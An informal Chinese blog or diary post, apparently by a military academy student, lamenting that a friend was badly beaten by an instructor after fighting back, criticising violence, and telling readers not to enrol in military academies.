唉张某某啊你也真是的为什么要还手呢,如果当下龟儿子的话有可能也就这样算了,但你真是的,唉..................................丢脸啊,都给打得重伤了,看来要住院一个多月了啦,5555朋友啊,当他的朋友真是难啊,我们想帮但我们好像什么也帮不了啊,人家可是教官啊,我们都不算是人了啊555555,唉..........................希望我能好好得去努力学习避开一些不必要的麻烦啊.可是避得开吗,没有一个人能保证很好的学习状态都担心自己有天会被打,要是以前的话我一定会叫一帮人去打架的但现在长大了,好像我这样做反而很不明智啊,眼铮铮看着自己的朋友给打真是心都凉了以前想军校很好的所以才去的,要不我一定上普通的大学,因为军人这样的神圣的职业居然给一些坯子给玷污了555真是的,虽然我狠一些用武力解决问题的人,但我想现在都什么年代了武力解决问题真是野蛮无耻傻b,一个聪明的人决不会用武力的,只有语言说不了了能力差的人这样的我们是文明人所以不会用武力.要是非常狠他的话就努力干好然后给他背后一刀我想是最明智的办法之一,当面还手真是的傻了吧.所以大家们千万不要来所谓的军校来一个傻b..........
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